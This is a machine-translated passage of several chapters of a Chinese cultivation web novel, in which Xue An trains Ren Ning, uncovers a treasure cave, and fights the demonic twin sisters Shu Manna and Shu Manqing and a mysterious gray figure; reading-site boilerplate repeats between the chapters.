    But these are all Xue An''s thoughts, but on the surface it didn''t show up at all.


    "If you want to say that, you are not completely useless, then I will let you go!"


    With that, Xue An released his hand.


    This fragment of the ancient mirror took a breath, and couldn''t help but slander deep in his heart.


    This guy is really a violent man!


    Are the current Chinese descendants like this?


    Doesn''t the remaining memory say that these Chinese people are all gentlemen?


    The result is such a "gentle and gentle"?


    When it was secretly complaining in his heart, Xue An turned his head and looked at it.


    It was this understatement that made the fragment of the ancient mirror tremble slightly, and he dared not feel the slightest bit of resentment in his heart.


    Because this look is really terrifying.


    He hides the front of the machine in the calm, as if everything in the world is under his control.


    "Since you can detect treasures within a radius of ten miles, do you think there are any treasures in this mountainous area?" Xue An said lightly.


    The fragment of the ancient mirror just wanted to say no, but when the words reached his mouth, he swallowed it back because it suddenly thought of a fact.


    Isn''t this guy experimenting with me?


    "Ahem... I was sealed in Longhu Mountain for countless years, and I really didn''t find any treasures here, but I can give it a try!"


    Xue An nodded and said lightly: "Then look for it!"


    When the words fell, the fetters that trapped it disappeared, and the fragments of the ancient mirror flew out quickly, and then patrolled around the mountainous area.


    Xue An stood there and watched quietly.


    But his standing silently put more pressure on this piece of ancient mirror fragment.


    The last trace of luck in my heart disappeared, and he began to look for treasures honestly.


    At this time, Ren Ning had also flown behind Xue An, looking curiously at the ancient mirror fragment in the distance.


    "What is it doing?"


    "It''s nothing, I gave it a chance to prove its worth!" Xue An said lightly.


    Ren Ning seemed to understand but not understand, but this did not prevent her from admiring Xue An.


    The feat of pulling out a few mountains just now deeply shocked her, so she couldn''t help asking.


    "My son, what trick did you just use? Why is it so powerful that you can even pull up the mountain?"


    Xue An turned his head and glanced at her. Seeing her face full of curiosity, he couldn''t help but smile.


    "You want to learn!"


    Ren Ning blushed, "I''m just... a little curious!"


    This shyness is in stark contrast to the domineering spirit of unearthing his father''s heart in Ling''an City.


    "That''s the law of heaven and earth. It looks bluffing, but it''s actually just an ordinary trick! If you really want to learn, I can teach you the real avenue of practice!" Xue An looked at the ancient piece in the distance. The fragment of the mirror said calmly.


    Ren Ning''s heart tightened.


    Although she still can''t understand what the real path of practice is based on her superficial knowledge of practice.


    But she is not a fool, she naturally understands how precious this opportunity is.


    Thinking of this, she pondered for a moment, then solemnly nodded.


    "Good! I want to learn!"


    Hearing this, Xue An turned his head and glanced at her again, "You have to think clearly, the road of practice is going against the sky, and the difficulties and obstacles are innumerable. Once you step in, you have no chance to look back. !"


    "I understand, but there is nothing in this world that you can get without paying any price, everything is the same!"


    "Cultivation can give people a long life and powerful strength, so you must also lose something accordingly, and I...I am ready!"


    Seeing this girl with a solemn face, Xue An was slightly startled, and even chuckled lightly.


    "Okay! In that case, I will help you!"


    When the words fell, Xue An raised his hand and waved, a brilliance flew straight out, and then plunged into Ren Ning''s eyebrows.


    In an instant, Ren Ning felt that a lot of things had been poured into her mind.


    Among them, there is a complete set of practice methods, but this is not the most precious. The most precious thing is Xue An��s insights on the way to practice.


    This is an extremely precious experience. It is no exaggeration to say that even a person with dull talents can become a strong person in a short time after acquiring these memories.


    Not to mention Ren Ning''s talent is very good.


    So almost in the blink of an eye, Ren Ning succeeded in getting started, and in a few seconds he completed the accomplishments that other people could not achieve in a month or even a year... Feel the ubiquitous aura fluctuations between heaven and earth.


    In an instant, in Ren Ning''s eyes, the world had undergone earth-shaking changes.


    There are floating light spots all around, and these light spots form a mighty river of spiritual energy, which flows clearly and distinctly in this world.


    This magnificent scene made Ren Ning''s expression dull, almost sinking into it.


    But at this moment, Xue An''s voice came from her ears.


    "Hold your breath, don''t be disturbed by foreign objects!"


    With these words initiating, Ren Ning shuddered, and then recovered from the infinite shock.


    At this moment, Xue An said softly.


    "Keep the platform empty, and I will help you again!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2767 Lingtai is empty), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2768： Treasure hunt and sister flowers

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    No matter how violent aura is in front of Xue An, it becomes extremely tame.


    Therefore, Xue An only did two things. First, he controlled these violent auras and made them flexible.


    Second, put these auras into Ren Ning''s body to transform her body and meridians.


    This process is actually an indispensable foundation period for everyone in their practice, but this foundation period can be long or short, and everything is determined by talent.


    When Xue An first entered the road of cultivation, it only took three months to build the foundation.


    But his speed is already top-notch.


    No matter how amazing the people are, the foundation period cannot be less than two months. This is because the mortal body can hardly carry the violent aura transformation, and even a little carelessness may cause damage.


    So people can only practice carefully.


    But today, Xue An wants to create a miracle.


    He first wrapped Ren Ning with his vast sea-like mind. Under this circumstance, every minute structure inside Ren Ning''s body appeared in Xue An''s mind.


    The key is that it is fine to the cell level.


    Then Xue An controlled the aura and began to transform Ren Ning''s body.


    Because of the powerful spirit behind, Xue An can easily hold the right degree.


    Not only does it not damage Ren Ning''s body, but it also effectively enhances her body''s strength.


    Ever since the brilliance was lingering, Xue An actually built a foundation for Ren Ning in mid-air.


    And in the process, Xue An actually rushed to the fragment of the ancient mirror far away with ease.


    "Did you find it?"


    To be honest, it just noticed Xue An''s movements, especially when it saw Xue An actually building the foundation for Ren Ning, it really wanted to take this opportunity to slip away.


    But Xue An''s words ruthlessly shattered its fantasy, and the fragment of the ancient mirror trembled three times, "No...no!"


    "If you don''t have that, why are you still stunned, don''t you hurry up and look for it?" Xue An said coldly.


    "Ah yes yes yes!"


    The fragments of the ancient mirror hurriedly turned around and continued to get busy.


    And this scene was naturally seen by Sheng Hongqian, Niu Dali and others.


    Zhang Xiaoqiang said with envy: "He actually built the foundation for this woman, this woman is really a great fortune!"


    "The key is that just building the foundation and creating such a big battle, how high is this guy''s achievements in the future?" Niu Dali also replied.


    Sheng Hongqian did not speak, because at the moment she had fallen into almost hysterical jealousy.


    She is so good to this woman who is so fierce and not fierce, who wants buttocks without buttocks, but she has always treated me indifferently.


    It''s really ignorant!


    Doesn''t he like the big ones, just like this unremarkable bite?


    Sheng Hongqian was thinking wildly in her heart, when she heard the fragments of the ancient mirror that were searching among the distant mountains suddenly shouting.


    "I found it. I didn''t expect there to be treasures here!"


    At this moment, Ren Ning''s foundation was also just completed.


    Xue An waved his hand, the brilliance dissipated, and then looking at Ren Ning''s eyes as bright as stars, the whole body was even more vigorous.


    It is precisely the vision formed by the inability to suppress the leakage of essence inside the body after the foundation is built.


    Xue An brought Ren Ning to the fragment of the ancient mirror.


    Sheng Hongqian, Niu Dali and others naturally rushed over.


    This is the edge of the mountains, even Niu Dali and others who are stationed on Longhu Mountain have never been here.


    After all, this mountain was extremely barren and barren before, even if it is now nourished by spiritual energy, this edge area is still very desolate.


    But in this place, this ancient mirror fragment has detected the treasure.


    "There is a breath of treasure just twenty meters below this valley!" said the fragment of the ancient mirror.


    Xue An didn''t answer, and stepped out to the position pointed by the fragment of the ancient mirror, and then stepped on it.


    boom!


    The ground shook and the mountains shook, and a large crack opened in the ground, revealing the underground scene.


    really.


    Twenty meters from the bottom of the valley, there was a small cave.


    Obviously, this cave has gone through countless years, and even the fonts on the plaque of the cave have been blurred, but the shielding circle around the cave is still in operation. This is why Niu Dali and others have been stationed here for many years but have not noticed anything. .


    Sheng Hongqian and others opened their eyes wide, watching this scene with nice eyes


    The fragment of the ancient mirror was triumphant, "How? I''m right! As long as it appears within ten miles of me, I can smell the baby even if there is a magic circle blocking it."


    Xue An didn''t say a word, and stepped to the gate of the cave.


    boom!


    The brilliance appeared, that was the scene caused by the excitation of the mountain protection array.


    But Xue An didn''t even lift his eyelids, just raised his hand and punched out.


    Boom!


    After a loud noise, whether the mountain guarding circle or shielding circle, Qi all shattered.


    Also broken together was the mountain gate of this cave mansion, revealing the scene inside.


    boom!


    Bright rays of light rose into the sky one after another.


    Then Niu Dali and others were dazzled by the spirit stones and treasures in the cave.


    This seemingly small cave mansion is actually piled up with high-quality spirit stones, in addition to all kinds of strange treasures.


    Such a sight is crazy enough.


    At least Niu''s vigorous breathing has become a lot heavier.


    "Damn, so many treasures are buried under our feet, but we didn''t know anything before!" Niu Dali hated iron and steel, muttered.


    But Xue An did not walk into the cave at this moment, instead turned and looked at the distant sky, and then said lightly.


    "Are there anyone in Longhu Village besides you guys?"


    Niu Dali was taken aback, UU reading didn''t understand what Xue An asked for.


    Sheng Hongqian responded extremely quickly, and immediately replied: "No, we are the owners of Longhu Village, and they are all here now!"


    Xue An nodded, "In that case, the person who came should be the enemy!"


    Sure enough, as soon as Xue An''s voice fell, there was a silver bell-like laughter from the sky in the distance.


    "Tsk tusk, it''s really a big change if you haven''t seen this Dragon Tiger Mountain for a few days!"


    "Especially this abundant aura is stronger than our residence!"


    The voices of these two sentences are almost the same, but the subtle difference in tone can still be heard, so it can be concluded that the speaker is two people.


    After hearing these words, Niu Dali and the others all changed.


    "Broken, why are these two ancestors!"


    "This is over, two peelers are here again!"


    Niu Dali and others are lamenting, they have reached the sky above the mountains.


    Then what came into view was a pair of sisters who were exactly the same in appearance and figure!


    When they stood still, their eyes couldn''t help being attracted by the jeweled underground cave mansion.


    "Yeah, I didn''t expect that there would be unexpected joy!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2768 Treasure Hunt and Sister Flowers), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2769： The posture of heaven and man

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    "Yes, sister, it''s a worthwhile trip to have such an unexpected joy when you come out!" one of the women smiled.


    "Sister, let''s add five for this treasure, how about sharing it equally?"


    "Everything depends on my sister, it doesn''t matter if my sister has fewer points!"


    The two of them discussed the ownership of the treasure like no one else.


    Xue An didn''t say a word either, just watched with interest in his arms.


    It wasn''t until the two of them discussed that they were about to discuss, Xue Anfang said lightly: "Are all the discussions finished?"


    Hearing this, the twin sisters turned their heads to look here, and then they all lit up.


    "Oh, what a cute boy!"


    "Zhong Ling is beautiful, the appearance of heaven and man, I didn''t expect there to be such a young man in this barren land!"


    The two sisters sighed together.


    Then one of the younger sisters smiled and said, "Sister, I won''t fight with you this time. I know you like this kind of tender boy who can pinch out the water the most!"


    My sister covered her mouth and smiled, "If you know me as your sister, then I will be disrespectful this time. When I meet you next time, my sister must let you go first!"


    Having said that, the sister turned her head and looked at Xue An with winks like silk.


    "Shoun Lang, what''s your name?"


    The soft tone is almost dripping.


    Sheng Hongqian and Ren Ning secretly took a sip at the same time.


    Pooh! Vixen!


    The difference is that Ren Ning''s newborn calf, who has just finished building the foundation, is not afraid of tigers.


    And this Sheng Hongqian had to be more cautious. Although she was quite unhappy in her heart, she didn''t show it at all on her face.


    Because she recognizes the sisters and knows how powerful they are.


    In fact, not only does she know her, but the entire Longhushan is not afraid of the sisters.


    When Niu Dali, Zhang Xiaoqiang and others saw them both, their brains hurt.


    It''s all because the sister flowers are famously difficult figures in the great spiritual realms around the radius.


    My sister''s name is Shu Manna, and my sister''s name is Shu Manqing.


    The name sounds gentle and moving, but in fact the two of them are real female devil, truly frightening existence.


    No one knows where they learned from, and no one knows where their roots are.


    People only know that once you see this pair of sisters, it means you are out of luck.


    Anyway, one of the wallet and the body must bleed.


    And the two of them have an even worse hobby, that is, they like good-looking boys.


    Once you see it, you have to get it no matter what you think of.


    Over the years, the number of teenagers destroyed in the hands of their sisters has not been thousands or even hundreds.


    Even Longhuzhai suffers a lot from it. Every year, they have to give the sisters a huge amount of worship, otherwise, don''t think about it.


    Nevertheless, because the strength of this pair of sisters can be called abnormal, Niu Dali and others dare to be angry and dare not speak.


    Unexpectedly, these two demon heads will arrive here at the right time.


    This is why Niu Dali and others would lament before.


    At the same time, Xue An raised his eyes slightly, just in time to meet Shumana''s almost obsessive gaze.


    Sumana trembled all over, then flushed with excitement.


    She had never seen such a look.


    Cold, alienated, but also with condescending mockery and banter.


    This look was like a heavy hammer, hitting Shumana''s heart directly, making her soul tremble at it.


    right!


    That''s how it feels!


    Come on, ravage me!


    This thought came to Sumana''s heart, and then she licked her red lips.


    "Shounen Lang, sister is talking to you, didn''t you hear it?"


    Xue An never responded to her words, but took a quick look at her and Shu Manqing next to her.


    "Are you twins?"


    "Yes, we are twin sisters, why? Young Lang, do you have any other ideas?" Shumana smiled evilly.


    Schu Manqing, who was on the side, also glared at Xue An.


    Xue An was not moved at all, and smiled coldly: "Ideas? What ideas can I have?"


    "Who knows. Anyway, you men, no matter how polite on the surface, are actually male thieves and female prostitutes. But if you really think that way, Man Qing and I can''t consider it! The premise is.... "


    "You must be able to satisfy us!"


    This kind of large-scale dialogue made Sheng Hongqian blush.


    As for Ren Ning, her face was even flushed, and she kept chattering.


    But unlike the two of them, Niu Dali, Zhang Xiaoqiang and other men showed a very complicated look on their faces.


    There is envy, there is imagination, there is fear.


    These kinds of looks mixed together, making their expressions a little weird.


    Xue An just smiled slightly at this.


    It''s just that his smile is full of unspeakable cold killing intent.


    "Actually, you are all wrong!"


    "Oh? So what are you thinking?"


    "I''m thinking, how should I teach you a lesson, so that you can understand that the reputation of the twin sisters is not allowed to be so corrupt!"


    When the words fell, a white light flashed, and Xue An appeared in front of Shumana with a thunderous force.


    Sumana seemed to have anticipated this trick, took a few steps back lightly, avoided Xue An''s first wave of attacks, and then giggled.


    "It''s so funny, do you worry about the reputation of our sisters?"


    "What I care about is not you, but my daughter''s reputation!"


    After all, Xue An stomped his foot abruptly, the space trembled, and the sword energy gathered.


    Then this immeasurable sword aura was condensed into a big sword that was more than forty meters long in an instant.


    Xue An slashed straight out with his imperial sword.


    "Yeah! I didn''t expect you are still a sword repairer!"


    Faced with the cut of the giant sword, Shumana didn''t panic, and even teased her in the mood.


    really.


    When the huge sword was cut in front of her, she suddenly stuck out her tongue.


    Three-inch lilac instantly transformed into a giant python-like existence, and directly greeted him, colliding with the giant sword.


    boom!


    Sword Qi was splashing everywhere.


    Looking at the scene again, Sumana stood there unscathed, her tongue retracted, and then she licked her lips seductively.


    "Shounen Lang, your sword tastes good, but it''s a pity that it''s almost too powerful."


    Xue An took a half step back, a dignified look flashed in his eyes.


    Although the sword just now was only a test, with Xue An''s current strength, the sword he handed at his fingertips had great power.


    But this was not able to shake Sumana any more, but was swallowed by a sword intent, which shows the horror of this woman.


    "Hee hee, what are you backing, can elder sister still eat people? Come on, let elder sister be rare!"


    Su Manna laughed wildly, and at the same time her hair was scattered, turning into countless blue silk sword intent, and Xue An was besieged in all directions.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2769 The Posture of Heaven and Man), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2770： Control the space

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    This is almost a killer blow.


    No one can survive such a dense sword intent.


    In particular, it was just a small six-rank xiaoqiang lieutenant, who looked to Shumana almost as an ant that could be pinched with one finger.


    So Shumana stood there with a smile, waiting for Xue An''s begging for mercy.


    She had already figured out how to destroy the boy''s body and play with his mind next.


    But she never expected that her wishful thinking would eventually come to nothing.


    Because just when these Qingsi Sword Intents were about to encircle, a sword intent rose from Xue An''s body and directly destroyed all Qingsi Sword Intents with an unstoppable force.


    At the same time, Xue An took a step forward, stabbing forward lightly with a sword in his hand.


    This is an understatement, a sword that does not contaminate the slightest smoke.


    But it was this sword that shocked Sumana who was laughing wildly, and then she backed away.


    But she is fast, Xue An''s sword is faster.


    In front of it, everything in the world is crisp and vulnerable.


    So just in a moment, this sword has already come before Sumana''s face.


    Su Manna was so excited by the violent sword that she couldn''t even open her eyes, and her arrogance had long since disappeared.


    At this moment, she just wanted to get rid of this violent sword as soon as possible.


    But Xue An didn''t give her any chance to breathe at all. The sword was like a tarsal maggot, like a shadow.


    "Ahhhh, what kind of swordsmanship is this?" Shumana yelled wildly.


    "Swordsmanship that kills you!" Xue An said coldly.


    At this moment, there was a chuckle in the void beside Xue An.


    "Sister, don''t panic, sister is here to save you!"


    When the words fell, the space in front of Xue Anjian suddenly folded strangely.


    Then Xue An''s sword went straight into it, but didn''t stab anyone, but drifted into a high mountain not far away.


    boom!


    This mountain was cut off by the waist, and the upper half of the mountain slowly fell down, making a loud noise.


    But the remaining sword intent was still violent and unparalleled, directly piercing through dozens of surrounding mountains before disappearing.


    The terrifying power of this sword is staggering.


    As for Sumana, the look on her face at the moment is simply ugly.


    I thought it would be a relaxing and enjoyable joke, but I didn''t expect to be here.


    If it weren''t for my sister''s timely help, although he wouldn''t die, he would definitely get hurt.


    For her self-esteem, this is a shame that is unforgivable.


    So at this moment, there was no more joking in her heart.


    Some are just endless anger and killing intent.


    "Boy, I underestimated you before. I didn''t expect your kendo cultivation to be so profound, but that''s all. Today I must catch you alive, and then I will play it around to let you know what life is. It''s better to die!"


    Shumana roared lowly.


    Xue An just turned around slowly and glanced at Su Manna, whose facial features were distorted and moved because of anger, but ignored her, but cast his gaze on Shu Manqing, who was standing aside.


    "Space folding?"


    "Yes, why? Is there any problem?" Shu Manqing said with a smile.


    Although the two sisters look exactly the same, they have completely opposite temperaments.


    Sister Sumana has a violent temperament and will kill people at every turn.


    Sister Shu Manqing''s temperament is much gentler, but no one can guess exactly what kind of thoughts are hidden under her shallow smile.


    "It''s the power of rules again, it seems that you are also evil things?" Xue An said coldly.


    "Evil? It seems that you have some misunderstanding of our Protoss!" Shu Manqing said with a smile.


    Xue An didn''t say a word, but his eyes gradually brightened.


    This should be the strongest person he has encountered since entering this world, and the power of the rules they possess is also extremely powerful.


    Not to mention anything else, but the hand that can fold the space to direct the attack elsewhere is enough to kill a hundred Shi Chang in a second.


    Xue An was not surprised but rejoiced.


    Because it means that I finally came into contact with the high-level power of this world.


    As long as you can successfully sneak into the world of evil things, you can follow the vine to find the guy who changes the timeline of the heavens.


    Thinking of this, Xue An said coldly: "Whether the Protoss or the evil things, your strength is very good, but unfortunately you should not be so public and corrupt the name of the twin sisters!"


    Shu Manqing blinked, "You seem to be reprimanding us!"


    "It''s not like, but it''s!"


    Shou Manqing smiled, "Do you think it''s amazing to push my sister back? So that you have the illusion that you can defeat us?"


    "To tell you the truth, if I want to kill you, it''s no harder than squeezing a bug!"


    "Oh yeah, then you can give it a try!" Xue An said lightly.


    Schumannqing''s smile did not change, but Schumanna had already exploded.


    "Sister, kill him, let him know how good we are!"


    Shu Manqing chuckled, "Don''t worry, sister, I will!"


    With that, she nodded slightly at Xue An.


    "Then I have to do it!"


    When the words fell, Xue An felt an inexplicable sense of crisis surging, and he almost retreated subconsciously.


    The space in front of him instantly folded together, and the sharp end could be swept across Xue An''s nose.


    But Xue An can''t take care of that much at this moment, because at this moment, almost everywhere in front of him and behind him, the space is folded like origami.


    Shu Manqing watched this scene with a smile, but his body was trembling slightly.


    This is because of excitement.


    She likes this feeling.


    Wrap people like cans, and squeeze them with the power of space.


    The blood spattered at that moment is the most beautiful, if there is no space obstruction, it can even jump tens of meters away.


    Although the boy in front of him was a pity, he was going to die before he played a bit.


    But who made him offend his sister.


    But in the next second Shu Manqing couldn''t smile a little.


    Because just when the space was folded into the shape of a can and compressed into it, Peng made a loud noise, and then a fist penetrated the space and protruded from the inside.


    Immediately after Xue An smashed the space, Shi Shiran walked out of it.


    "That''s it? Anything else?"


    An anger flashed in Shu Manqing''s eyes.


    But she did not say a word, but launched an attack again and again.


    The space she folded this time was different from the last time. She didn''t do it around Xue An''s body, but started directly from his body.


    After all, the body is also space, and as long as it is space, she can control it.


    Imagine that your heart is beating, and as a result, she gave an order, and the space in your chest collapsed suddenly, crushing the heart. Then how can you live?


    This is her most terrifying killer move.


    But this time, she still miscalculated.


    Because no matter what she did, Xue An just stood there peacefully, as if these had nothing to do with him.


    "What''s the matter? Do you have no physical body?" Shu Manqing said solemnly.


    "You guessed it, I really don''t have a physical body!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2770 Controlling Space), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2771： Spiritual Suppression

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    As soon as the voice fell, the faces of Sister Schumann and Schumann Ching showed horror.


    Because at this moment, they were shocked to find that there was a strong and powerful spirit that enveloped them.


    This spirit is so powerful that it has completely exceeded their understanding.


    In front of it, even they are only shivering.


    And it was at this moment that there was a huge **** rising up in their sea of ??knowledge.


    It was Xue An''s divine mentality projected into the sea of ??knowledge.


    As soon as this phenomenon came out, they immediately saw everything in the sea, and their souls began to tremble.


    "Who are you? Why do you have such a powerful spiritual mind?" Shu Manna yelled, resisting the panic in her heart.


    Before, she thought this was just an ordinary six-rank Xiaoqiang Lieutenant, so she dared to make fun of it, but she didn''t expect to kick on the iron plate.


    This can''t help making her surprised and regretful.


    Xue An smiled faintly, "You have asked the question who am I once before. Do you know why I didn''t tell you? Because you are not worthy!"


    At the end, a touch of sarcasm appeared on Xue An''s face.


    Shu Manna and Shu Manqing were furious.


    No one has ever dared to talk to their sisters like this.


    But now the situation is better than others, no matter how angry they are, they can only endure it.


    "I know you are not convinced, but the strength is like this. Now I want to kill you no more than squeeze a bug, are you right?"


    Shu Manqing''s face was blue and white.


    Because what Xue An is saying now is clearly what he said before.


    But now it sounds sarcastic.


    "What the **** do you want to do?" Shu Manna finally calmed her mind at this time and said in a deep voice.


    But as soon as her voice fell, a majestic coercion came on, directly pressing her soul to the ground.


    Shumana struggled, but she couldn''t shake the pressure, and the humiliation of kneeling on the ground made her mad.


    At the same time, Xue An said indifferently: "I hope you can recognize where you are now. Even your life and death are between my thoughts, so if you talk to me in this tone, If you do, your soul will collapse!"


    Shumana was almost mad.


    But helplessly, her strength in divine consciousness was far inferior to Xue An, and under the all-round suppression, she could only bow her head.


    On the contrary, Schu Manqing on the side saw the opportunity quickly and immediately changed his attitude and asked in a respectful tone.


    "My lord, it was our sisters who had eyes and no beads before, so they offended you so much. Please forgive me!"


    Xue An was noncommittal.


    Schu Manqing took a step forward and gave a deep salute, "But I don''t know what the lord is trying to do when he suppresses me in the sea of ??knowledge?"


    Xue An just said, "Whose order did you come here?"


    "Which order was given? We just came out to stroll, just passing by Longhu Mountain, and found that there was a tremendous change here, so alive, so we came to take a look!" Shu Manqing blinked innocent eyes and said.


    This is a trick she has tried repeatedly. With this innocent look, she doesn''t know how many men she has deceived.


    But this time when she finished speaking, she didn''t see the slightest clue on Xue An''s face, and only the endless peace.


    This made her flustered inexplicably, but on the surface she still pretended to be calm.


    At this moment, Xue An raised his eyes slightly.


    "Did you finish?"


    "My lord, I..."


    "When you are finished, then you can kneel down too!"


    After giving an order, Schu Manqing snorted, and then she was also pressured to kneel on the ground by a huge force.


    "Do you think I''m a good liar? This time you came here obviously under the instigation of others, so I really want to know who is instructing you behind the scenes, and what is his purpose!"


    Xue An''s eyes flowed, and his eyes swept across the faces of Shu Manna and Shu Manqing who were kneeling on the ground.


    "Now, who can you tell me?"


    "My lord, we really weren''t instigated by others. We really passed by here by accident..." Shu Manqing also wanted to explain.


    Xue An waved his hand, "Well, since I don''t want to say it, don''t say it, let me show him myself!"


    This sentence made Schumann''s and Schumannqing''s hearts tight.


    What''s the meaning?


    What is he going to do?


    In the next second, the questions in their hearts were answered.


    Because at this moment, Xue An''s eyes flashed with killing intent.


    In an instant, the already violent spirit became extremely cold.


    Sister Sumana could even hear the sound of their souls being frozen.


    This caused both of them to risk their souls.


    Because they knew well that if their souls were a little lost, they would be truly overwhelmed.


    Therefore, both of them invariably cast aside their arrogance before shouting.


    "My lord, forgive me!"


    "My lord, spare your life!"


    But Xue An was not moved at all, but stood coldly above the sea of ??consciousness, seeming to be waiting for something.


    Sen Leng''s pressure continued to spread, and even the souls of the two sisters Shumana began to stagnate.


    That was a sign before it was completely frozen.


    And just at this moment, only a soft sigh came from the depths of the sea of ??consciousness.


    "Do you have to force me to shoot?"


    With this sigh, the coercion of Senleng melted like ice and snow.


    Su Manna and Schu Man Qing received an amnesty, and quickly got up and retreated.


    A gray figure appeared in front of the two of them, and then faced Xue An directly.


    "Forcing me to come out with the lives of both of them, you are really brave enough!"


    Xue An stared coldly at this gray figure The brilliance of her eyes flickered.


    he knows.


    This figure was the first real evil powerhouse he saw after he came into this world.


    The so-called evil things I have seen before are nothing more than having some thin blood, which is completely incomparable with the gray figure in front of him.


    After a while, he reduced the brilliance in his eyes and said lightly: "You are finally willing to show up! It seems that these two people are very important to you!"


    "They are important or not important first, put aside, Chinese teenager, it is amazing that you can have such a powerful spiritual mind at a young age, but if you want to go your own way, are you not afraid of being buried in this world?" Questioned.


    Xue An laughed up to the sky, "Since you can call out the Chinese word, you must be aware of it. I will tell you now that I am here on this trip to bury you all the evil things!"


    "Hmph, I''m really not ashamed. Don''t think that you can look down on everything if you have a little strength. You must know that you are no more than the strength of Captain Xiao. Except for the merits of God''s Sense, the rest is inferior to that ant in my eyes. "The gray figure coldly snorted.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this (Chapter 2771 Divine Sense Suppression) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2772： mob? No, we are not! ...

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    "If it''s better to know after the ants fight, if you show up today, then don''t leave!"


    When the words fall, Xue An''s momentum is like a rainbow, and he reads like a horse, slashing past.


    The gray figure sneered, "I don''t know how to live or die!"


    Then there was a wisp of gray mist to greet the blow.


    With a loud bang, this special enchantment constructed by the three spiritual thoughts of Schumann Schumann and Xue An suddenly shattered.


    Sister Sumana snorted, and the soul returned to her body, and then blood spattered from her mouth and nose.


    But at the moment they can''t care about that much.


    They looked at the battlefield ahead with scorching eyes.


    I saw a gray mist across the sky, in which Xue An was faintly visible.


    From the outside, the battle was not fierce at all, and even a little boring.


    But only the two sisters Shumana knew the danger.


    Because this is clearly fighting against each other with divine mind and soul!


    A little carelessness will be overwhelming.


    As for Sheng Hongqian and Niu Dali who were watching the battle from a distance, they were a little unclear.


    "What''s the matter? Why did the female devil and the adults were silent just now, and after a while, the female devil vomited blood?" The old fifth asked with a full forehead.


    "Oh, don''t you understand? Obviously Master Xue and the female devil are fighting with spirits!" Zhang Xiaoqiang explained.


    "Then who won?" The fifth asked.


    "It goes without saying that the adult must have won. Didn''t you see that the two demon heads vomited blood!" The sixth man on the side suddenly said.


    "Nothing, what''s the matter with this gray fog?" Niu Dali said solemnly.


    "I''m also wondering, how come a layer of mist suddenly appeared?" Zhang Xiaoqiang said.


    Only Ren Ning did not speak, clenched her fists in both hands, and looked at the figure blocked by the mist in the distance very nervously.


    Master! You can''t do anything!


    Although she did not apprentice a teacher, after Xue An built the foundation for her and brought her into the path of practice, Ren Ning had already regarded Xue An as his own mentor in her heart.


    So at this moment, she should be the most nervous in the audience.


    In contrast, this Sheng Hongqian was the most calm.


    This is not because she is not worried, but because she has a blind trust in Xue An.


    It sounds strange, although Sheng Hongqian didn''t say a few words to Xue An in total, but she had the most confidence in Xue An.


    In her opinion, there is nothing in this world that can stump this man, and the two little demon heads can''t make any waves.


    But at this moment, Sister Sumanna, who finally stabilized her out-of-control qi and blood, turned her head and looked at Sheng Hongqian and the others.


    "Sister, these guys are obviously the accomplices of this kid, taking advantage of the fact that he''s fighting with the adults right now, just clean up!" Shu Manqing said murderously.


    "I also have this intention. Today''s hatred is to be counted from these guys first, and it is assumed that the interest will be charged first!" Shu Manna said coldly.


    After all, the two sisters rushed towards everyone.


    "What are they going to do? Do they want to come over and talk to us?" The old five said with a smile.


    But as long as the eyes are not blind, no one will believe that these two murderous guys just came to relive the past.


    The fifth child also felt that he was very stupid, so he turned around and wanted to say something to Niu Dali and others.


    But when he turned his head, he saw that Niu Dali, Zhang Xiaoqiang and others had already run away.


    Old Wuyi was stunned and couldn''t help shouting: "Boss, what are you doing?"


    "Of course it is to escape!" Niu, who had run more than a dozen miles away, shouted vigorously.


    Zhang Xiaoqiang turned around and shouted: "Fifth, what are you doing stupidly standing there? Hurry up!"


    The old five Ji Lingling shuddered, and then ran away in a panic.


    These few village owners of them ran faster than one.


    But some people did not run.


    Such as Ren Ning.


    She didn''t run.


    Of course, even if she runs, it''s useless.


    Because she had just successfully built the foundation, her strength was even lower than that of the ants compared to the two Sumana sisters.


    Even if she runs, it is impossible to escape the chase of the sisters.


    So she stood in place, looking coldly at the two Sumana who were approaching.


    Both Shumana were irritated by her attitude.


    "Really looking for death!"


